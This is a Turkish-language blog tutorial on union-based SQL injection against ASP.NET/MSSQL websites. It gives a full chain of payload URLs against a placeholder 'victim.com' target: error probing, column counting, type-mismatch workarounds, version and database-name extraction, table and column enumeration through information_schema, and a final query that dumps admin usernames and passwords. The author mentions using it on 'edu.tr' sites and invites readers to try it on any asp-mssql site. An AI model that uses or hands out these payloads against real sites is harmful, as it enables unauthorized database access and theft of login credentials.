Ana içeriğe atla

MSSQL Union Based Sql Injections



Herkese iyi akşamlar. Yazının başlığından da anladığınız gibi mssql veritabanı kullanan sistemlere nasıl sql injecitons saldırısı yapılır onu anlatacam. Bu işin temeli sql injections'ı anlatmaya dayanıyor ama onu zaten burayı okuyan biliyordur. Bilmiyorsa bile Türkiye'de hacking alanında sitelerin alayında anlatıyor. Oralarda okuyabilirsiniz. Neyse önsözü çok uzattık başlayalım anlatmaya :)

Hacklemek istediğimiz yada caiz bir şekilde söylemek gerekirse pentest yaptığımız sitede php-mysql ikilisi varsa hepimiz çok mutlu oluruz. Aynen aşağıdaki gibi;

Amma velakin aspx-mssql varsa hepimiz kara kara düşünürüz. Aşağıdaki gibi;


Neyse bu kadar işin gırgırı yeter. Başlayalım anlatmaya;

Şimdi burda site örnek vermeyecem. Ama edu.tr üzerinden anlatacam. Siz herhangi bir asp-mssql kullanan siteden anlatacaklarımı uygulayabilirsiniz.

https://victim.com/detail.aspx?id=9 sitesine tek tırnak attığımızda yani şöyle
https://victim.com/detail.aspx?id=9' error hatası alırsak veya
https://victim.com/detail.aspx?id=9%22 şeklinde url'ye gittiğimizde hata alıyorsak burada mssql injections deneyebiliriz. Bir bilgi de bingo olarak vereyim işiniz kolaylaşsın. Eğer hem tek hem çift tırnakta hata alıyorsunuz injeksiyon türü tam sayı olma  ihtimali yüksektir. Yani her 2 tırnakta hata alıyorsanız diğer sayılarla fazla uğraşmanıza gerek yok. Aşağıda mssql veritabanında kullanacağımız yorumlar ve onların ne anlama geldiğini gösteren tablo göreceksiniz :)


Yorumlama KomutlarıAdı
--:Yorum Satırı türü1
--+:Yorum Satırı türü2
--+-:SQL Yorumlama
/**/:Satır içi yorumlama
;:Boş değer
Şimdi temel olarak yorumlama komutlarını deneyerek başlayalım

https://victim.com/detail.aspx?id=9-- (çalışıyor)
https://victim.com/detail.aspx?id=9 order by 1-- (herhangi bir hata yok)
https://victim.com/detail.aspx?id=9 100-- 100'e kadar yolu var ama oraya ulaşmadan hatayı alırsınız :)
Ve Hatayı bir nokta da aldık.

Şimdi ise sırayı bozmadan devam ediyoruz. Ve 7 kolon olduğunu buluyoruz. Ve sırada union seçeneklerini devreye sokuyoruz :)

https://victim.com/detail.aspx?id=9 and 0=1 Union Select 1,2,3,4,5,6,7-- ve burada hatayı alıyoruz.

bu hatayı aldığımızda mssql veritabanlarında null kullanabiliriz.İsterseniz deneyelim ;)

https://victim.com/detail.aspx?id=9 and 0=1 Union Select null,null,null,null,null,null,null--

Hatamız şu şekildedir.
Bu hatayı da aldığımıza göre size bir bingo bilgi daha aktarayım. UNİON ALL SELECT kullanarak null'larla beraber DBNULL'lar String'e dönüştürülmedi diye veri türü hatası alırız.
Linkimiz Şöyle: https://victim.com/detail.aspx?id=9 and 0=1 Union All Select null,null,null,null,null,null,null--

Yukarıda ki hatalarda DBnull-string uyumsuzluğunu gördük. Peki ne yapacaz? Aslında basit her bir sütunu dönüştürerek çalıştırmayı deneyecez. Tek tırnak işareti kullanarak string'lerle bu işi çözebiliriz ama bazen hata aldığımız durumlardan kaçınmak için db_name() kullanmayı tercih etsek daha çok işimize gelir. Şöyle burada 7 tane kolon var pek hata almayabiliriz ama bazen 15-20 kolon olan bir sitede bu tek tırnak string işimiz sorlaştırabilir.  Onun yerine db_name() kullanarak birer birer 7 sütüne çalıştıracak enjeksiyon kodunu oluşturmalıyız.


Kendi kodunuzu oluşturmak için Site Linkini tıklayarak erişebilirsiniz.

Şimdi ise veritabanının sürümünü okuyacağımız kodu yazalım :)

https://victim.com/detail.aspx?id=9 and 0=1 Union All Select 1,@@version,3,4,5,db_name(),7--

Görüldüğü gibi veritabanı sürümünü de öğrendik. Ve şimdi db_name() ile veritabanımızın adını öğrenelim :) 

https://victim.com/detail.aspx?id=9 and 0=1 Union All Select 1,db_name(),3,4,5,db_name(),7--

Bu linkin çıktısı şu şekilde: victim_dbs Ssonuç olarak veritabanına da bulduk. Aşağıya mssql veritabanlarında kullanacağınız veritabanı fonksiyonlarını bırakıyorum.

Query/FunctionOutput
@@version:Vveritabanı Sürümü
user_name():Veritabanı Kullanıcı adı
user,system_user,current_user:Veritabanı Kullanıcı adı
db_name():Veritabanı adı
db_name():Veritabanı adı
@@SERVERNAME:Host Adı
Şimdi tablo adlarını çıkaracağız. Olay MySql'den biraz farklı işliyor...:)

1) https://victim.com/details.aspx?id=9 and 0=1 Union All Select 1,table_name,3,4,5,db_name(),7 from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc--
(Burada ilk tablomuz edulogin i elde ettik)
2) https://victim.com/details.aspx?id=9 and 0=1 Union All Select 1,table_name,3,4,5,db_name(),7 from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc--
(Burada 2. tablomuzu çektik.)
Sırayla top değerleri değiştirerek tabloları çekebilirsiniz. Sırada her veritabanını çekme olayında olduğu gibi kolonları çekme olayı var. Onu da şöyle yapabiliriz.

1)  https://victim.com/details.aspx?id=9 and 0=1 Union All Select 1,column_name,3,4,5,db_name(),7 from (select top 1 column_name from information_schema.columns where table_name='edulogin' order by 1) as shit order by 1 desc--
(Burada username yi çektik)
2) https://victim.com/details.aspx?id=9 and 0=1 Union All Select 1,column_name,3,4,5,db_name(),7 from (select top 2 column_name from information_schema.columns where table_name='edulogin' order by 1) as shit order by 1 desc-

(Burada password'u aldık) Fazla uzatmayacam. Top değerlerini değiştirerek diğer kolonları da çekebilirsiniz..:)

Kolonları da çektiğimize göre artık istediğimiz bilgileri çekelim. 

  https://victim.com/details.aspx?id=9 and 0=1 Union All Select 1,username%2b' '%2bpassword,3,4,5,db_name(),7 from AdminLogin--

Burada istediğimiz Mssql Union Based Sql İnjections işlemini tamamladık. Sonuca ulaştık. Aşağıda genel mssql hataları ile ilgili bir tablo paylaşayım. Genel de aşağıda ki hatalarlar karşılaşırsınız.

Hata Çeşitleri
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][SQL Server Native Client 10.0][SQL Server]Executing SQL directly; no cursor.
Microsoft VBScript runtime error '800a000d' 
Type mismatch: 'id'
Error Executing Database Query.
Line 3: Incorrect syntax near ''.
The text data type cannot be selected as DISTINCT because it is not comparable.
Operand type clash: text is incompatible with int
Burada bu yazıya son veriyorum. Birazcık karmaşık olabilir. Yazarken çok düşünerek akıcı şekilde açıklamaya çalıştım. Bir yerde hatamı gördüyseniz ya da bilgi eklemek isterseniz mail yolu ile irtibata geçebilir veya yorum atabilirsiniz..:) Okuduğunuz için teşekkürler. İyi Akşamlar...:)

Yorumlar